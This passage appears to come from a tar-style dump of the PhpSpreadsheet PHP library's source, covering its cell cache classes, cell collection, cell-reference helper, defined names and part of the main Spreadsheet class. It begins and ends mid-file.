$child->nodeValue; } elseif ($child->nodeType == XML_ELEMENT_NODE && $child->nodeName == 'text:s') { // It's a space // Multiple spaces? $attributes = $child->attributes; /** @var ?DOMAttr $cAttr */ $cAttr = ($attributes === null) ? null : $attributes->getNamedItem('c'); $multiplier = self::getMultiplier($cAttr); $str .= str_repeat(' ', $multiplier); } if ($child->hasChildNodes()) { $str .= $this->scanElementForText($child); } } return $str; } private static function getMultiplier(?DOMAttr $cAttr): int { if ($cAttr) { $multiplier = (int) $cAttr->nodeValue; } else { $multiplier = 1; } return $multiplier; } private function parseRichText(string $is): RichText { $value = new RichText(); $value->createText($is); return $value; } private function processMergedCells( DOMElement $cellData, string $tableNs, string $type, string $columnID, int $rowID, Spreadsheet $spreadsheet ): void { if ( $cellData->hasAttributeNS($tableNs, 'number-columns-spanned') || $cellData->hasAttributeNS($tableNs, 'number-rows-spanned') ) { if (($type !== DataType::TYPE_NULL) || ($this->readDataOnly === false)) { $columnTo = $columnID; if ($cellData->hasAttributeNS($tableNs, 'number-columns-spanned')) { $columnIndex = Coordinate::columnIndexFromString($columnID); $columnIndex += (int) $cellData->getAttributeNS($tableNs, 'number-columns-spanned'); $columnIndex -= 2; $columnTo = Coordinate::stringFromColumnIndex($columnIndex + 1); } $rowTo = $rowID; if ($cellData->hasAttributeNS($tableNs, 'number-rows-spanned')) { $rowTo = $rowTo + (int) $cellData->getAttributeNS($tableNs, 'number-rows-spanned') - 1; } $cellRange = $columnID . $rowID . ':' . $columnTo . $rowTo; $spreadsheet->getActiveSheet()->mergeCells($cellRange, Worksheet::MERGE_CELL_CONTENT_HIDE); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/IComparable.php000064400000000276151676714400020143 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; interface IComparable { /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Exception.php000064400000000160151676714400017713 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use RuntimeException; class Exception extends RuntimeException { } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Collection/Memory/SimpleCache1.php000064400000003106151676714400023561 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Collection\Memory; use Psr\SimpleCache\CacheInterface; /** * This is the default implementation for in-memory cell collection. * * Alternative implementation should leverage off-memory, non-volatile storage * to reduce overall memory usage. */ class SimpleCache1 implements CacheInterface { /** * @var array Cell Cache */ private array $cache = []; public function clear(): bool { $this->cache = []; return true; } public function delete($key): bool { unset($this->cache[$key]); return true; } public function deleteMultiple($keys): bool { foreach ($keys as $key) { $this->delete($key); } return true; } public function get($key, $default = null): mixed { if ($this->has($key)) { return $this->cache[$key]; } return $default; } public function getMultiple($keys, $default = null): iterable { $results = []; foreach ($keys as $key) { $results[$key] = $this->get($key, $default); } return $results; } public function has($key): bool { return array_key_exists($key, $this->cache); } public function set($key, $value, $ttl = null): bool { $this->cache[$key] = $value; return true; } public function setMultiple($values, $ttl = null): bool { foreach ($values as $key => $value) { $this->set($key, $value); } return true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Collection/Memory/SimpleCache3.php000064400000003240151676714400023562 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Collection\Memory; use DateInterval; use Psr\SimpleCache\CacheInterface; /** * This is the default implementation for in-memory cell collection. * * Alternative implementation should leverage off-memory, non-volatile storage * to reduce overall memory usage. */ class SimpleCache3 implements CacheInterface { private array $cache = []; public function clear(): bool { $this->cache = []; return true; } public function delete(string $key): bool { unset($this->cache[$key]); return true; } public function deleteMultiple(iterable $keys): bool { foreach ($keys as $key) { $this->delete($key); } return true; } public function get(string $key, mixed $default = null): mixed { if ($this->has($key)) { return $this->cache[$key]; } return $default; } public function getMultiple(iterable $keys, mixed $default = null): iterable { $results = []; foreach ($keys as $key) { $results[$key] = $this->get($key, $default); } return $results; } public function has(string $key): bool { return array_key_exists($key, $this->cache); } public function set(string $key, mixed $value, null|int|DateInterval $ttl = null): bool { $this->cache[$key] = $value; return true; } public function setMultiple(iterable $values, null|int|DateInterval $ttl = null): bool { foreach ($values as $key => $value) { $this->set($key, $value); } return true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Collection/Cells.php000064400000033276151676714400021130 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Collection; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use Psr\SimpleCache\CacheInterface; class Cells { protected const MAX_COLUMN_ID = 16384; private CacheInterface $cache; /** * Parent worksheet. */ private ?Worksheet $parent; /** * The currently active Cell. */ private ?Cell $currentCell = null; /** * Coordinate of the currently active Cell. */ private ?string $currentCoordinate = null; /** * Flag indicating whether the currently active Cell requires saving. */ private bool $currentCellIsDirty = false; /** * An index of existing cells. int pointer to the coordinate (0-base-indexed row * 16,384 + 1-base indexed column) * indexed by their coordinate. * * @var int[] */ private array $index = []; /** * Prefix used to uniquely identify cache data for this worksheet. */ private string $cachePrefix; /** * Initialise this new cell collection. * * @param Worksheet $parent The worksheet for this cell collection */ public function __construct(Worksheet $parent, CacheInterface $cache) { // Set our parent worksheet. // This is maintained here to facilitate re-attaching it to Cell objects when // they are woken from a serialized state $this->parent = $parent; $this->cache = $cache; $this->cachePrefix = $this->getUniqueID(); } /** * Return the parent worksheet for this cell collection. */ public function getParent(): ?Worksheet { return $this->parent; } /** * Whether the collection holds a cell for the given coordinate. * * @param string $cellCoordinate Coordinate of the cell to check */ public function has(string $cellCoordinate): bool { return ($cellCoordinate === $this->currentCoordinate) || isset($this->index[$cellCoordinate]); } /** * Add or update a cell in the collection. * * @param Cell $cell Cell to update */ public function update(Cell $cell): Cell { return $this->add($cell->getCoordinate(), $cell); } /** * Delete a cell in cache identified by coordinate. * * @param string $cellCoordinate Coordinate of the cell to delete */ public function delete(string $cellCoordinate): void { if ($cellCoordinate === $this->currentCoordinate && $this->currentCell !== null) { $this->currentCell->detach(); $this->currentCoordinate = null; $this->currentCell = null; $this->currentCellIsDirty = false; } unset($this->index[$cellCoordinate]); // Delete the entry from cache $this->cache->delete($this->cachePrefix . $cellCoordinate); } /** * Get a list of all cell coordinates currently held in the collection. * * @return string[] */ public function getCoordinates(): array { return array_keys($this->index); } /** * Get a sorted list of all cell coordinates currently held in the collection by row and column. * * @return string[] */ public function getSortedCoordinates(): array { asort($this->index); return array_keys($this->index); } /** * Get a sorted list of all cell coordinates currently held in the collection by index (16384*row+column). * * @return int[] */ public function getSortedCoordinatesInt(): array { asort($this->index); return array_values($this->index); } /** * Return the cell coordinate of the currently active cell object. */ public function getCurrentCoordinate(): ?string { return $this->currentCoordinate; } /** * Return the column coordinate of the currently active cell object. */ public function getCurrentColumn(): string { $column = 0; $row = ''; sscanf($this->currentCoordinate ?? '', '%[A-Z]%d', $column, $row); return (string) $column; } /** * Return the row coordinate of the currently active cell object. */ public function getCurrentRow(): int { $column = 0; $row = ''; sscanf($this->currentCoordinate ?? '', '%[A-Z]%d', $column, $row); return (int) $row; } /** * Get highest worksheet column and highest row that have cell records. * * @return array Highest column name and highest row number */ public function getHighestRowAndColumn(): array { // Lookup highest column and highest row $maxRow = $maxColumn = 1; foreach ($this->index as $coordinate) { $row = (int) floor(($coordinate - 1) / self::MAX_COLUMN_ID) + 1; $maxRow = ($maxRow > $row) ? $maxRow : $row; $column = ($coordinate % self::MAX_COLUMN_ID) ?: self::MAX_COLUMN_ID; $maxColumn = ($maxColumn > $column) ? $maxColumn : $column; } return [ 'row' => $maxRow, 'column' => Coordinate::stringFromColumnIndex($maxColumn), ]; } /** * Get highest worksheet column. * * @param null|int|string $row Return the highest column for the specified row, * or the highest column of any row if no row number is passed * * @return string Highest column name */ public function getHighestColumn($row = null): string { if ($row === null) { return $this->getHighestRowAndColumn()['column']; } $row = (int) $row; if ($row <= 0) { throw new PhpSpreadsheetException('Row number must be a positive integer'); } $maxColumn = 1; $toRow = $row * self::MAX_COLUMN_ID; $fromRow = --$row * self::MAX_COLUMN_ID; foreach ($this->index as $coordinate) { if ($coordinate < $fromRow || $coordinate >= $toRow) { continue; } $column = ($coordinate % self::MAX_COLUMN_ID) ?: self::MAX_COLUMN_ID; $maxColumn = $maxColumn > $column ? $maxColumn : $column; } return Coordinate::stringFromColumnIndex($maxColumn); } /** * Get highest worksheet row. * * @param null|string $column Return the highest row for the specified column, * or the highest row of any column if no column letter is passed * * @return int Highest row number */ public function getHighestRow(?string $column = null): int { if ($column === null) { return $this->getHighestRowAndColumn()['row']; } $maxRow = 1; $columnIndex = Coordinate::columnIndexFromString($column); foreach ($this->index as $coordinate) { if ($coordinate % self::MAX_COLUMN_ID !== $columnIndex) { continue; } $row = (int) floor($coordinate / self::MAX_COLUMN_ID) + 1; $maxRow = ($maxRow > $row) ? $maxRow : $row; } return $maxRow; } /** * Generate a unique ID for cache referencing. * * @return string Unique Reference */ private function getUniqueID(): string { $cacheType = Settings::getCache(); return ($cacheType instanceof Memory\SimpleCache1 || $cacheType instanceof Memory\SimpleCache3) ? random_bytes(7) . ':' : uniqid('phpspreadsheet.', true) . '.'; } /** * Clone the cell collection. */ public function cloneCellCollection(Worksheet $worksheet): static { $this->storeCurrentCell(); $newCollection = clone $this; $newCollection->parent = $worksheet; $newCollection->cachePrefix = $newCollection->getUniqueID(); foreach ($this->index as $key => $value) { $newCollection->index[$key] = $value; $stored = $newCollection->cache->set( $newCollection->cachePrefix . $key, clone $this->cache->get($this->cachePrefix . $key) ); if ($stored === false) { $this->destructIfNeeded($newCollection, 'Failed to copy cells in cache'); } } return $newCollection; } /** * Remove a row, deleting all cells in that row. * * @param int|string $row Row number to remove */ public function removeRow($row): void { $this->storeCurrentCell(); $row = (int) $row; if ($row <= 0) { throw new PhpSpreadsheetException('Row number must be a positive integer'); } $toRow = $row * self::MAX_COLUMN_ID; $fromRow = --$row * self::MAX_COLUMN_ID; foreach ($this->index as $coordinate) { if ($coordinate >= $fromRow && $coordinate < $toRow) { $row = (int) floor($coordinate / self::MAX_COLUMN_ID) + 1; $column = Coordinate::stringFromColumnIndex($coordinate % self::MAX_COLUMN_ID); $this->delete("{$column}{$row}"); } } } /** * Remove a column, deleting all cells in that column. * * @param string $column Column ID to remove */ public function removeColumn(string $column): void { $this->storeCurrentCell(); $columnIndex = Coordinate::columnIndexFromString($column); foreach ($this->index as $coordinate) { if ($coordinate % self::MAX_COLUMN_ID === $columnIndex) { $row = (int) floor($coordinate / self::MAX_COLUMN_ID) + 1; $column = Coordinate::stringFromColumnIndex($coordinate % self::MAX_COLUMN_ID); $this->delete("{$column}{$row}"); } } } /** * Store cell data in cache for the current cell object if it's "dirty", * and the 'nullify' the current cell object. */ private function storeCurrentCell(): void { if ($this->currentCellIsDirty && isset($this->currentCoordinate, $this->currentCell)) { $this->currentCell->detach(); $stored = $this->cache->set($this->cachePrefix . $this->currentCoordinate, $this->currentCell); if ($stored === false) { $this->destructIfNeeded($this, "Failed to store cell {$this->currentCoordinate} in cache"); } $this->currentCellIsDirty = false; } $this->currentCoordinate = null; $this->currentCell = null; } private function destructIfNeeded(self $cells, string $message): void { $cells->__destruct(); throw new PhpSpreadsheetException($message); } /** * Add or update a cell identified by its coordinate into the collection. * * @param string $cellCoordinate Coordinate of the cell to update * @param Cell $cell Cell to update */ public function add(string $cellCoordinate, Cell $cell): Cell { if ($cellCoordinate !== $this->currentCoordinate) { $this->storeCurrentCell(); } $column = 0; $row = ''; sscanf($cellCoordinate, '%[A-Z]%d', $column, $row); $this->index[$cellCoordinate] = (--$row * self::MAX_COLUMN_ID) + Coordinate::columnIndexFromString((string) $column); $this->currentCoordinate = $cellCoordinate; $this->currentCell = $cell; $this->currentCellIsDirty = true; return $cell; } /** * Get cell at a specific coordinate. * * @param string $cellCoordinate Coordinate of the cell * * @return null|Cell Cell that was found, or null if not found */ public function get(string $cellCoordinate): ?Cell { if ($cellCoordinate === $this->currentCoordinate) { return $this->currentCell; } $this->storeCurrentCell(); // Return null if requested entry doesn't exist in collection if ($this->has($cellCoordinate) === false) { return null; } // Check if the entry that has been requested actually exists in the cache $cell = $this->cache->get($this->cachePrefix . $cellCoordinate); if ($cell === null) { throw new PhpSpreadsheetException("Cell entry {$cellCoordinate} no longer exists in cache. This probably means that the cache was cleared by someone else."); } // Set current entry to the requested entry $this->currentCoordinate = $cellCoordinate; $this->currentCell = $cell; // Re-attach this as the cell's parent $this->currentCell->attach($this); // Return requested entry return $this->currentCell; } /** * Clear the cell collection and disconnect from our parent. */ public function unsetWorksheetCells(): void { if ($this->currentCell !== null) { $this->currentCell->detach(); $this->currentCell = null; $this->currentCoordinate = null; } // Flush the cache $this->__destruct(); $this->index = []; // detach ourself from the worksheet, so that it can then delete this object successfully $this->parent = null; } /** * Destroy this cell collection. */ public function __destruct() { $this->cache->deleteMultiple($this->getAllCacheKeys()); $this->parent = null; } /** * Returns all known cache keys. * * @return iterable<string> */ private function getAllCacheKeys(): iterable { foreach ($this->index as $coordinate => $value) { yield $this->cachePrefix . $coordinate; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Collection/CellsFactory.php000064400000000714151676714400022447 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Collection; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; abstract class CellsFactory { /** * Initialise the cache storage. * * @param Worksheet $worksheet Enable cell caching for this worksheet * * */ public static function getInstance(Worksheet $worksheet): Cells { return new Cells($worksheet, Settings::getCache()); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/CellReferenceHelper.php000064400000010604151676714400021617 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; class CellReferenceHelper { protected string $beforeCellAddress; protected int $beforeColumn; protected int $beforeRow; protected int $numberOfColumns; protected int $numberOfRows; public function __construct(string $beforeCellAddress = 'A1', int $numberOfColumns = 0, int $numberOfRows = 0) { $this->beforeCellAddress = str_replace('$', '', $beforeCellAddress); $this->numberOfColumns = $numberOfColumns; $this->numberOfRows = $numberOfRows; // Get coordinate of $beforeCellAddress [$beforeColumn, $beforeRow] = Coordinate::coordinateFromString($beforeCellAddress); $this->beforeColumn = Coordinate::columnIndexFromString($beforeColumn); $this->beforeRow = (int) $beforeRow; } public function beforeCellAddress(): string { return $this->beforeCellAddress; } public function refreshRequired(string $beforeCellAddress, int $numberOfColumns, int $numberOfRows): bool { return $this->beforeCellAddress !== $beforeCellAddress || $this->numberOfColumns !== $numberOfColumns || $this->numberOfRows !== $numberOfRows; } public function updateCellReference(string $cellReference = 'A1', bool $includeAbsoluteReferences = false, bool $onlyAbsoluteReferences = false): string { if (Coordinate::coordinateIsRange($cellReference)) { throw new Exception('Only single cell references may be passed to this method.'); } // Get coordinate of $cellReference [$newColumn, $newRow] = Coordinate::coordinateFromString($cellReference); $newColumnIndex = Coordinate::columnIndexFromString(str_replace('$', '', $newColumn)); $newRowIndex = (int) str_replace('$', '', $newRow); $absoluteColumn = $newColumn[0] === '$' ? '$' : ''; $absoluteRow = $newRow[0] === '$' ? '$' : ''; // Verify which parts should be updated if ($onlyAbsoluteReferences === true) { $updateColumn = (($absoluteColumn === '$') && $newColumnIndex >= $this->beforeColumn); $updateRow = (($absoluteRow === '$') && $newRowIndex >= $this->beforeRow); } elseif ($includeAbsoluteReferences === false) { $updateColumn = (($absoluteColumn !== '$') && $newColumnIndex >= $this->beforeColumn); $updateRow = (($absoluteRow !== '$') && $newRowIndex >= $this->beforeRow); } else { $updateColumn = ($newColumnIndex >= $this->beforeColumn); $updateRow = ($newRowIndex >= $this->beforeRow); } // Create new column reference if ($updateColumn) { $newColumn = $this->updateColumnReference($newColumnIndex, $absoluteColumn); } // Create new row reference if ($updateRow) { $newRow = $this->updateRowReference($newRowIndex, $absoluteRow); } // Return new reference return "{$newColumn}{$newRow}"; } public function cellAddressInDeleteRange(string $cellAddress): bool { [$cellColumn, $cellRow] = Coordinate::coordinateFromString($cellAddress); $cellColumnIndex = Coordinate::columnIndexFromString($cellColumn); // Is cell within the range of rows/columns if we're deleting if ( $this->numberOfRows < 0 && ($cellRow >= ($this->beforeRow + $this->numberOfRows)) && ($cellRow < $this->beforeRow) ) { return true; } elseif ( $this->numberOfColumns < 0 && ($cellColumnIndex >= ($this->beforeColumn + $this->numberOfColumns)) && ($cellColumnIndex < $this->beforeColumn) ) { return true; } return false; } protected function updateColumnReference(int $newColumnIndex, string $absoluteColumn): string { $newColumn = Coordinate::stringFromColumnIndex(min($newColumnIndex + $this->numberOfColumns, AddressRange::MAX_COLUMN_INT)); return "{$absoluteColumn}{$newColumn}"; } protected function updateRowReference(int $newRowIndex, string $absoluteRow): string { $newRow = $newRowIndex + $this->numberOfRows; $newRow = ($newRow > AddressRange::MAX_ROW) ? AddressRange::MAX_ROW : $newRow; return "{$absoluteRow}{$newRow}"; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/DefinedName.php000064400000014641151676714400020125 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; abstract class DefinedName { protected const REGEXP_IDENTIFY_FORMULA = '[^_\p{N}\p{L}:, \$\'!]'; /** * Name. */ protected string $name; /** * Worksheet on which the defined name can be resolved. */ protected ?Worksheet $worksheet; /** * Value of the named object. */ protected string $value; /** * Is the defined named local? (i.e. can only be used on $this->worksheet). */ protected bool $localOnly; /** * Scope. */ protected ?Worksheet $scope; /** * Whether this is a named range or a named formula. */ protected bool $isFormula; /** * Create a new Defined Name. */ public function __construct( string $name, ?Worksheet $worksheet = null, ?string $value = null, bool $localOnly = false, ?Worksheet $scope = null ) { if ($worksheet === null) { $worksheet = $scope; } // Set local members $this->name = $name; $this->worksheet = $worksheet; $this->value = (string) $value; $this->localOnly = $localOnly; // If local only, then the scope will be set to worksheet unless a scope is explicitly set $this->scope = ($localOnly === true) ? (($scope === null) ? $worksheet : $scope) : null; // If the range string contains characters that aren't associated with the range definition (A-Z,1-9 // for cell references, and $, or the range operators (colon comma or space), quotes and ! for // worksheet names // then this is treated as a named formula, and not a named range $this->isFormula = self::testIfFormula($this->value); } public function __destruct() { $this->worksheet = null; $this->scope = null; } /** * Create a new defined name, either a range or a formula. */ public static function createInstance( string $name, ?Worksheet $worksheet = null, ?string $value = null, bool $localOnly = false, ?Worksheet $scope = null ): self { $value = (string) $value; $isFormula = self::testIfFormula($value); if ($isFormula) { return new NamedFormula($name, $worksheet, $value, $localOnly, $scope); } return new NamedRange($name, $worksheet, $value, $localOnly, $scope); } public static function testIfFormula(string $value): bool { if (str_starts_with($value, '=')) { $value = substr($value, 1); } if (is_numeric($value)) { return true; } $segMatcher = false; foreach (explode("'", $value) as $subVal) { // Only test in alternate array entries (the non-quoted blocks) $segMatcher = $segMatcher === false; if ( $segMatcher && (preg_match('/' . self::REGEXP_IDENTIFY_FORMULA . '/miu', $subVal)) ) { return true; } } return false; } /** * Get name. */ public function getName(): string { return $this->name; } /** * Set name. */ public function setName(string $name): self { if (!empty($name)) { // Old title $oldTitle = $this->name; // Re-attach if ($this->worksheet !== null) { $this->worksheet->getParentOrThrow()->removeNamedRange($this->name, $this->worksheet); } $this->name = $name; if ($this->worksheet !== null) { $this->worksheet->getParentOrThrow()->addDefinedName($this); } if ($this->worksheet !== null) { // New title $newTitle = $this->name; ReferenceHelper::getInstance()->updateNamedFormulae($this->worksheet->getParentOrThrow(), $oldTitle, $newTitle); } } return $this; } /** * Get worksheet. */ public function getWorksheet(): ?Worksheet { return $this->worksheet; } /** * Set worksheet. */ public function setWorksheet(?Worksheet $worksheet): self { $this->worksheet = $worksheet; return $this; } /** * Get range or formula value. */ public function getValue(): string { return $this->value; } /** * Set range or formula value. */ public function setValue(string $value): self { $this->value = $value; return $this; } /** * Get localOnly. */ public function getLocalOnly(): bool { return $this->localOnly; } /** * Set localOnly. */ public function setLocalOnly(bool $localScope): self { $this->localOnly = $localScope; $this->scope = $localScope ? $this->worksheet : null; return $this; } /** * Get scope. */ public function getScope(): ?Worksheet { return $this->scope; } /** * Set scope. */ public function setScope(?Worksheet $worksheet): self { $this->scope = $worksheet; $this->localOnly = $worksheet !== null; return $this; } /** * Identify whether this is a named range or a named formula. */ public function isFormula(): bool { return $this->isFormula; } /** * Resolve a named range to a regular cell range or formula. */ public static function resolveName(string $definedName, Worksheet $worksheet, string $sheetName = ''): ?self { if ($sheetName === '') { $worksheet2 = $worksheet; } else { $worksheet2 = $worksheet->getParentOrThrow()->getSheetByName($sheetName); if ($worksheet2 === null) { return null; } } return $worksheet->getParentOrThrow()->getDefinedName($definedName, $worksheet2); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Spreadsheet.php000064400000130062151676714400020231 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use JsonSerializable; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Document\Properties; use PhpOffice\PhpSpreadsheet\Document\Security; use PhpOffice\PhpSpreadsheet\Reader\Xlsx as XlsxReader; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Style\Style; use PhpOffice\PhpSpreadsheet\Worksheet\Iterator; use PhpOffice\PhpSpreadsheet\Worksheet\Table; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx as XlsxWriter; class Spreadsheet implements JsonSerializable { // Allowable values for workbook window visilbity const VISIBILITY_VISIBLE = 'visible'; const VISIBILITY_HIDDEN = 'hidden'; const VISIBILITY_VERY_HIDDEN = 'veryHidden'; private const DEFINED_NAME_IS_RANGE = false; private const DEFINED_NAME_IS_FORMULA = true; private const WORKBOOK_VIEW_VISIBILITY_VALUES = [ self::VISIBILITY_VISIBLE, self::VISIBILITY_HIDDEN, self::VISIBILITY_VERY_HIDDEN, ]; /** * Unique ID. */ private string $uniqueID; /** * Document properties. */ private Properties $properties; /** * Document security. */ private Security $security; /** * Collection of Worksheet objects. * * @var Worksheet[] */ private array $workSheetCollection; /** * Calculation Engine. */ private ?Calculation $calculationEngine; /** * Active sheet index. */ private int $activeSheetIndex; /** * Named ranges. * * @var DefinedName[] */ private array $definedNames; /** * CellXf supervisor. */ private Style $cellXfSupervisor; /** * CellXf collection. * * @var Style[] */ private array $cellXfCollection = []; /** * CellStyleXf collection. * * @var Style[] */ private array $cellStyleXfCollection = []; /** * hasMacros : this workbook have macros ? */ private bool $hasMacros = false; /** * macrosCode : all macros code as binary data (the vbaProject.bin file, this include form, code, etc.), null if no macro. */ private ?string $macrosCode = null; /** * macrosCertificate : if macros are signed, contains binary data vbaProjectSignature.bin file, null if not signed. */ private ?string $macrosCertificate = null; /** * ribbonXMLData : null if workbook is'nt Excel 2007 or not contain a customized UI. * * @var null|array{target: string, data: string} */ private ?array $ribbonXMLData = null; /** * ribbonBinObjects : null if workbook is'nt Excel 2007 or not contain embedded objects (picture(s)) for Ribbon Elements * ignored if $ribbonXMLData is null. */ private ?array $ribbonBinObjects = null; /** * List of unparsed loaded data for export to same format with better compatibility. * It has to be minimized when the library start to support currently unparsed data. */ private array $unparsedLoadedData = []; /** * Controls visibility of the horizonal scroll bar in the application. */ private bool $showHorizontalScroll = true; /** * Controls visibility of the horizonal scroll bar in the application. */ private bool $showVerticalScroll = true; /** * Controls visibility of the sheet tabs in the application. */ private bool $showSheetTabs = true; /** * Specifies a boolean value that indicates whether the workbook window * is minimized. */ private bool $minimized = false; /** * Specifies a boolean value that indicates whether to group dates * when presenting the user with filtering optiomd in the user * interface. */ private bool $autoFilterDateGrouping = true; /** * Specifies the index to the first sheet in the book view. */ private int $firstSheetIndex = 0; /** * Specifies the visible status of the workbook. */ private string $visibility = self::VISIBILITY_VISIBLE; /** * Specifies the ratio between the workbook tabs bar and the horizontal * scroll bar. TabRatio is assumed to be out of 1000 of the horizontal * window width. */ private int $tabRatio = 600; private Theme $theme; public function getTheme(): Theme { return $this->theme; } /** * The workbook has macros ? */ public function hasMacros(): bool { return $this->hasMacros; } /** * Define if a workbook has macros. * * @param bool $hasMacros true|false */ public function setHasMacros(bool $hasMacros): void { $this->hasMacros = (bool) $hasMacros; } /** * Set the macros code. * * @param string $macroCode string|null */ public function setMacrosCode(string $macroCode): void { $this->macrosCode = $macroCode; $this->setHasMacros($macroCode !== null); } /** * Return the macros code. */ public function getMacrosCode(): ?string { return $this->macrosCode; } /** * Set the macros certificate. */ public function setMacrosCertificate(?string $certificate): void { $this->macrosCertificate = $certificate; } /** * Is the project signed ? * * @return bool true|false */ public function hasMacrosCertificate(): bool { return $this->macrosCertificate !== null; } /** * Return the macros certificate. */ public function getMacrosCertificate(): ?string { return $this->macrosCertificate; } /** * Remove all macros, certificate from spreadsheet. */ public function discardMacros(): void { $this->hasMacros = false; $this->macrosCode = null; $this->macrosCertificate = null; } /** * set ribbon XML data. */ public function setRibbonXMLData(mixed $target, mixed $xmlData): void { if ($target !== null && $xmlData !== null) { $this->ribbonXMLData = ['target' => $target, 'data' => $xmlData]; } else { $this->ribbonXMLData = null; } } /** * retrieve ribbon XML Data. */ public function getRibbonXMLData(string $what = 'all'): null|array|string //we need some constants here... { $returnData = null; $what = strtolower($what); switch ($what) { case 'all': $returnData = $this->ribbonXMLData; break; case 'target': case 'data': if (is_array($this->ribbonXMLData)) { $returnData = $this->ribbonXMLData[$what]; } break; } return $returnData; } /** * store binaries ribbon objects (pictures). */ public function setRibbonBinObjects(mixed $binObjectsNames, mixed $binObjectsData): void { if ($binObjectsNames !== null && $binObjectsData !== null) { $this->ribbonBinObjects = ['names' => $binObjectsNames, 'data' => $binObjectsData]; } else { $this->ribbonBinObjects = null; } } /** * List of unparsed loaded data for export to same format with better compatibility. * It has to be minimized when the library start to support currently unparsed data. * * @internal */ public function getUnparsedLoadedData(): array { return $this->unparsedLoadedData; } /** * List of unparsed loaded data for export to same format with better compatibility. * It has to be minimized when the library start to support currently unparsed data. * * @internal */ public function setUnparsedLoadedData(array $unparsedLoadedData): void { $this->unparsedLoadedData = $unparsedLoadedData; } /** * retrieve Binaries Ribbon Objects. */ public function getRibbonBinObjects(string $what = 'all'): ?array { $ReturnData = null; $what = strtolower($what); switch ($what) { case 'all': return $this->ribbonBinObjects; case 'names': case 'data': if (is_array($this->ribbonBinObjects) && isset($this->ribbonBinObjects[$what])) { $ReturnData = $this->ribbonBinObjects[$what]; } break; case 'types': if ( is_array($this->ribbonBinObjects) && isset($this->ribbonBinObjects['data']) && is_array($this->ribbonBinObjects['data']) ) { $tmpTypes = array_keys($this->ribbonBinObjects['data']); $ReturnData = array_unique(array_map(fn (string $path): string => pathinfo($path, PATHINFO_EXTENSION), $tmpTypes)); } else { $ReturnData = []; // the caller want an array... not null if empty } break; } return $ReturnData; } /** * This workbook have a custom UI ? */ public function hasRibbon(): bool { return $this->ribbonXMLData !== null; } /** * This workbook have additionnal object for the ribbon ? */ public function hasRibbonBinObjects(): bool { return $this->ribbonBinObjects !== null; } /** * Check if a sheet with a specified code name already exists. * * @param string $codeName Name of the worksheet to check */ public function sheetCodeNameExists(string $codeName): bool { return $this->getSheetByCodeName($codeName) !== null; } /** * Get sheet by code name. Warning : sheet don't have always a code name ! * * @param string $codeName Sheet name */ public function getSheetByCodeName(string $codeName): ?Worksheet { $worksheetCount = count($this->workSheetCollection); for ($i = 0; $i < $worksheetCount; ++$i) { if ($this->workSheetCollection[$i]->getCodeName() == $codeName) { return $this->workSheetCollection[$i]; } } return null; } /** * Create a new PhpSpreadsheet with one Worksheet. */ public function __construct() { $this->uniqueID = uniqid('', true); $this->calculationEngine = new Calculation($this); $this->theme = new Theme(); // Initialise worksheet collection and add one worksheet $this->workSheetCollection = []; $this->workSheetCollection[] = new Worksheet($this); $this->activeSheetIndex = 0; // Create document properties $this->properties = new Properties(); // Create document security $this->security = new Security(); // Set defined names $this->definedNames = []; // Create the cellXf supervisor $this->cellXfSupervisor = new Style(true); $this->cellXfSupervisor->bindParent($this); // Create the default style $this->addCellXf(new Style()); $this->addCellStyleXf(new Style()); } /** * Code to execute when this worksheet is unset(). */ public function __destruct() { $this->disconnectWorksheets(); $this->calculationEngine = null; $this->cellXfCollection = []; $this->cellStyleXfCollection = []; $this->definedNames = []; } /** * Disconnect all worksheets from this PhpSpreadsheet workbook object, * typically so that the PhpSpreadsheet object can be unset. */ public function disconnectWorksheets(): void { foreach ($this->workSheetCollection as $worksheet) { $worksheet->disconnectCells(); unset($worksheet); } $this->workSheetCollection = []; } /** * Return the calculation engine for this worksheet. */ public function getCalculationEngine(): ?Calculation { return $this->calculationEngine; } /** * Get properties. */ public function getProperties(): Properties { return $this->properties; } /** * Set properties. */ public function setProperties(Properties $documentProperties): void { $this->properties = $documentProperties; } /** * Get security. */ public function getSecurity(): Security { return $this->security; } /** * Set security. */ public function setSecurity(Security $documentSecurity): void { $this->security = $documentSecurity; } /** * Get active sheet. */ public function getActiveSheet(): Worksheet { return $this->getSheet($this->activeSheetIndex); } /** * Create sheet and add it to this workbook. * * @param null|int $sheetIndex Index where sheet should go (0,1,..., or null for last) */ public function createSheet(?int $sheetIndex = null): Worksheet { $newSheet = new Worksheet($this); $this->addSheet($newSheet, 